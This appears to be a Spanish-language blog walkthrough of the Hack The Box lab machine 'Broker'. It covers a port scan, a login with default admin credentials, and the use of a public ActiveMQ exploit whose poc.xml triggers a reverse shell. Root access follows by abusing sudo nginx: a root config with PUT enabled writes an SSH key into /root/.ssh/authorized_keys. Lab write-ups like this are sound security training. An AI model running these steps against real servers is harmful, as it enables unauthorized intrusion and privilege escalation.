Post

Broker - Hack The Box

logo Esta máquina no es tan complicada, en primer lugar, vamos a acceder a un sitio web utilizando credentiales por defecto admin:admin , luego buscando en google damos con el cve adecuado para ganar acceso al sistema, para escalar provilegios y convertirnos en root, tendremos que saber cositas, o aprender cositas de nginx, ya vamos a contar con permisos de root para ejecutar este binario.

Reconocimiento

Directorios de trabajo

1
2
3
mkdir broker
cd broker
mkdir nmap content exploit

nmap

1
sudo nmap -p- --open -sS --min-rate 5000 -Pn -n -sCV 10.10.11.243 -oN version-port

version-port

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
Nmap scan report for 10.10.11.243
Host is up (0.092s latency).
Not shown: 65465 closed tcp ports (reset), 59 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_  256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp    open  http       nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
1337/tcp  open  http       nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: 403 Forbidden
1883/tcp  open  mqtt
| mqtt-subscribe: 
|   Topics and their most recent payloads: 
|     ActiveMQ/Advisory/MasterBroker: 
|_    ActiveMQ/Advisory/Consumer/Topic/#: 
5672/tcp  open  amqp?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     AMQP
|     AMQP
|     amqp:decode-error
|_    7Connection from client using unsupported AMQP attempted
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
8161/tcp  open  http       Jetty 9.4.39.v20210325
|_http-server-header: Jetty(9.4.39.v20210325)
|_http-title: Error 401 Unauthorized
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
9292/tcp  open  http       nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: 403 Forbidden
42435/tcp open  tcpwrapped
61613/tcp open  stomp      Apache ActiveMQ
| fingerprint-strings: 
|   HELP4STOMP: 
|     ERROR
|     content-type:text/plain
|     message:Unknown STOMP action: HELP
|     org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP
|     org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.java:258)
|     org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter.java:85)
|     org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83)
|     org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233)
|     org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215)
|_    java.lang.Thread.run(Thread.java:750)
61614/tcp open  http       Jetty 9.4.39.v20210325
|_http-server-header: Jetty(9.4.39.v20210325)
|_http-title: Site doesn't have a title.
| http-methods: 
|_  Potentially risky methods: TRACE
61616/tcp open  apachemq   ActiveMQ OpenWire transport
| fingerprint-strings: 
|   NULL: 
|     ActiveMQ
|     TcpNoDelayEnabled
|     SizePrefixDisabled
|     CacheSize
|     ProviderName 
|     ActiveMQ
|     StackTraceEnabled
|     PlatformDetails 
|     Java
|     CacheEnabled
|     TightEncodingEnabled
|     MaxFrameSize
|     MaxInactivityDuration
|     MaxInactivityDurationInitalDelay
|     ProviderVersion 
|_    5.15.15
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • 22: ssh
    • OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
    • no cuento con credenciales y la version no es tan vulnerable que yo sepa :v
  • 80,9292,1337: http
    • nginx 1.18.0 (Ubuntu)
    • es un servidor web/proxy inverso ligero de alto rendimiento y un proxy para protocolos de correo electrónico.
  • 1883: mqtt
  • 5672: amqp?
  • 8161,61614: http
    • Jetty 9.4.39.v20210325
  • 42435: tcpwrapped
  • 61613: stomp
    • Apache ActiveMQ
  • 61616: apachemq
    • ActiveMQ OpenWire transport

de momento le voy a prestar atención al servicio http, ya saben antes de ponernos a tumbar el servidor hagamos reconocimiento con whatweb y wappalyzer

servicio: http

puerto 80

1
whatweb 10.10.11.243

whatweb

Listo ahora veamos cómo luce la página desde firefox

firefox

Ups, nos pide credenciales, probemos las credenciales más seguras del mundo admin:admin

:v y funcionaron, estamos dentro del sitio web

wappalyzer

por ahora nada valioso, solo lo que ya sabíamos con nmap lo de nginx y sistema operativo ubuntu estaba buscando si la versión de nginx era vulnerable, pero no conseguí nada, el nombre de la pagina web me llama la atención Apache ActiveMQ , primero busco algo en searchsploit

searchsploit

1
2
3
4
5
6
7
8
9
10
11
searchsploit active mq

--------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                               |  Path
--------------------------------------------------------------------------------------------- ---------------------------------
ActiveMQ < 5.14.0 - Web Shell Upload (Metasploit)                                            | java/remote/42283.rb
Apache ActiveMQ 5.11.1/5.13.2 - Directory Traversal / Command Execution                      | windows/remote/40857.txt
Apache ActiveMQ 5.2/5.3 - Source Code Information Disclosure                                 | multiple/remote/33868.txt
Apache ActiveMQ 5.3 - 'admin/queueBrowse' Cross-Site Scripting                               | multiple/remote/33905.txt
Apache ActiveMQ 5.x-5.11.1 - Directory Traversal Shell Upload (Metasploit)                   | windows/remote/48181.rb
--------------------------------------------------------------------------------------------- ---------------------------------

MMMM no veo el típico script en python que nos saca de apuros, intentemos desde google

encontré 3 interesantes, el último está en go y los dos primeros en python los 3 funcionan bien, escojan el que les guste, en mi caso voy usar python porque si :v , entonces me clono el repositorio

detalles de ejecución

modificamos el archivo poc.xml que es el que contiene la reverse shell, lo que tenemos que hacer es poner nuestra ip y el puerto donde vamos a estar en escucha.

primero nos ponemos en escucha por un puerto , luego montamos un servidor local, que comparta el archivo .xml y ejecutamos el script pasando como argumento -p la ip del servidor Apache ActiveMQ y -p es opcional, el siguiente parámetro es -u la url donde tenemos el servidor hostiando el poc.xml

1
2
python exploit.py -i <target-ip> -p <target-port> -u <url-to-poc.xml>
python exploit.py -i <target-ip> -u <url-to-poc.xml>

intrusion

tratamiento de la tty

tenemos que convertir esto a una consola completamente interactiva

  • script /dev/null -c bash
  • ctrl + z
  • stty raw -echo;fg
  • reset xterm
  • export TERM=xterm
  • export SHELL=bash
  • stty rows 27 columns 127
    • esto solo aplica para las dimensiones de mi pantalla

flag como usuario activemq

1
2
3
4
5
activemq@broker:~$ ls
user.txt
activemq@broker:~$ cat user.txt 
4506493eb5709d428431aec8d46e246b
activemq@broker:~$

escalada de privilegios

vemos si tenemos permisos a nivel de sudoers

1
2
3
4
5
6
activemq@broker:/dev/shm/pepito$ sudo -l
Matching Defaults entries for activemq on broker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User activemq may run the following commands on broker:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx

al parecer puedo ejecutar el binario /usr/sbin/nginx como root sin proporcionar contraseña, esa es una via potencial de escalar nuestro privilegio ya que nginx sirve para gestionar servidores web, es decir podemos crear un archivo de configuracion donde diga donde quiero montar el nuevo servidor y tambien decirle a donde va apuntar.

encontré este recurso interesante donde podemos llegar a algo para saber que poner en el archivo de configuración

primer intento

esta configuración nos va permitir listar contenido priviegiado desde la raiz en adelante

  • user root;
    • indica que el servidor va estar corriendo como el usuario root
    • por eso podemos ver contenido privilegiado
  • listen 1337;
    • el puerto donde va correr nuestro servidor
  • root /;
    • nuestro servidor va apuntar a esa ruta, que indica el directorio raiz

ahora creamos un archivo .conf en cualquier ruta del sistena y que tenga el siguiente contenido

1
activemq@broker:/dev/shm$ nano /dev/shm/hola.conf
1
2
3
4
5
6
7
8
9
10
11
user root;
events {
    worker_connections 1024;
}
http {
    server {
        listen 9999;
        root /;
        autoindex on;
    }
}

voy a ver primero si hay algo corriendo en ese puerto

1
activemq@broker:/dev/shm$ netstat -nat | grep 9999

para iniciar el servidor usamos el siguiente comando

1
activemq@broker:/dev/shm$ sudo /usr/sbin/nginx -c /dev/shm/hola.conf 
  • -c ruta del archivo.conf

vuelvo y miro si ya hay algo en ese puerto

1
2
activemq@broker:/dev/shm$ netstat -nat | grep 9999
tcp        0      0 0.0.0.0:9999            0.0.0.0:*               LISTEN

ya puedo ver el puerto ocupado, es decir el servicio ya está corriendo, puedo hacer un

1
activemq@broker:/dev/shm$ curl -s localhost:9999

con esto ya puedo ver mucha información del sistema, pero la verdad lo que me interesa es tener una consola como el usuario root, no estár husmeando archivos prohibidos, porque hasta la flag ya la puedo ver, pero no es la idea desde esta posición

segundo intento

hay una forma muy interesante para conseguir una consola como root, la idea es muy parecida a la anterior, pero ahora voy a especificarle que permita implementar un método, es decir que permida pasarle parámetros a la petición, el método es PUT

  • método PUT
    • El modo PUT reemplaza todas las representaciones actuales del recurso de destino con la carga útil de la petición.

reemplazo el contenido del archivo anterios con este, no puedo parar el servidor del puerto 9999 y tampoco puedo reutilizarlo, lo mejor es cambiar de puerto, ejemplo 9991

1
2
3
4
5
6
7
8
9
10
11
12
user root;
events {
    worker_connections 1024;
}
http {
    server {
        listen 9991;
        root /;
        autoindex on;
        dav_methods PUT;
    }
}

ya saben, primero veo si el puerto está en uso

1
activemq@broker:/dev/shm$ netstat -nat | grep 9991

inicio el servidor

1
activemq@broker:/dev/shm$ sudo /usr/sbin/nginx -c /dev/shm/hola.conf 

vuelvo y miro si ya hay algo en ese puerto

1
2
activemq@broker:/dev/shm$ netstat -nat | grep 9991
tcp        0      0 0.0.0.0:9991            0.0.0.0:*               LISTEN

listo, y para que todo esto? la idea es crear keys de ssh

1
ssh-keygen

a todo lo que salga de damos enter, eso nos va crear dos archivos en ~/.ssh/

1
2
3
4
ls -l ~/.ssh/
total 8
-rw------- 1 monkeyhack monkeyhack 2602 Nov 11 00:49 id_rsa
-rw-r--r-- 1 monkeyhack monkeyhack  571 Nov 11 00:49 id_rsa.pub

la idea ahora es que el contenido del id_rsa.pub lo pongamos en ~/.ssh/ de la máquina víctima con el nombre de authorized_keys. con eso vamos a poder conectarnos por ssh solo pasandole el id_rsa como argumento

1
activemq@broker:/dev/shm$ curl -X PUT localhost:9991/root/.ssh/authorized_keys -d 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrHt7w1IvJJDuRcxCOUK9VEA8+uocl2dTfMWApRWTaKpS/cBbcopelayIxi+wMxrnhpw2c4PLcm62YEfYkBzs8WiMwY5GYkLeJu1o455kll1KsL9jqi50kaBgdLrLQH7jdil64a0qXZ16whNffUxNODnSzgKUIkprkTJcG+Eee/n+WGWodLuCRWam2P2nFY4G9Z7ctDvCJCt20qMkwBd63yowANh2FkWlSY01F5Yd1iRgvE+1e4t84qH4pD7Tg6290zgtUrXGdD4E8swC8duUDD1gpQscforHZbhCIfc5wP56jYDciEj8HRftGGnch/+Y2Z1Ags1gyOZckYCYZe6b5+Ki9Q6BGUhx62kKaUYuSugo8DrkCBW2Inf21rgEL1fU3gg+Dt0K1iojxLOxpMB4GXZAemPelbB0Pg0AtybLy54Aw+cn76Z0Xa7+qY+nVfP3Xrfxnbo3iIRV1v/bAqVBheQBvEgbPkoKta6nhXQcfasdfasdf+Q0Af1iL3yU= monkeyhack@parrot'

y desde mi equipo hago lo siguiente

1
ssh root@10.10.11.243 -i id_rsa

y ya estoy dentro como root

1
2
3
4
root@broker:~# ls
cleanup.sh  root.txt
root@broker:~# cat root.txt 
01345d13d6c2ccde98538a7d8c2f46dc
This post is licensed under CC BY 4.0 by the author.